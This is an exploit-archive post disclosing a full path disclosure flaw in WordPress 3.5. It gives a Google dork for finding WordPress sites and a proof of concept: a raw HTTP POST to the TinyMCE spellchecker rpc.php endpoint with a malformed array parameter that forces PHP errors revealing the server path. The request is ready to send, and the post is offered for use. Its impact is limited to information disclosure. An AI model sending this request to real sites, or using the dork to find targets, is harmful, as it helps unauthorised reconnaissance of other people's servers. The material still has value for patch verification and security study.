WordPress 3.5 Path Disclosure Vulnerability

[wind]

# Exploit Title: WordPress 3.5 Path Disclosure Vulnerability
# Date: 01/19/2013
# Google Dork: intext:"powered by WordPress"
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/wordpress-3.5.txt
# Vendor Homepage: http://wordpress.org/
# Software Link: http://wordpress.org/latest.zip
# Version: 3.5 and probably prior
# Tested on: Windows

Description:

Successful exploitation of this vulnerability may allow an attacker to obtain the real path of the WordPress installation.

Proof of Concept:

--------------------------------------

POST /wordpress/wp-includes/js/tinymce/plugins/spellchecker/rpc.php HTTP/1.1
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

json_data[$hack]=1

--------------------------------------

Done!

Proof: http://goo.gl/PPhWf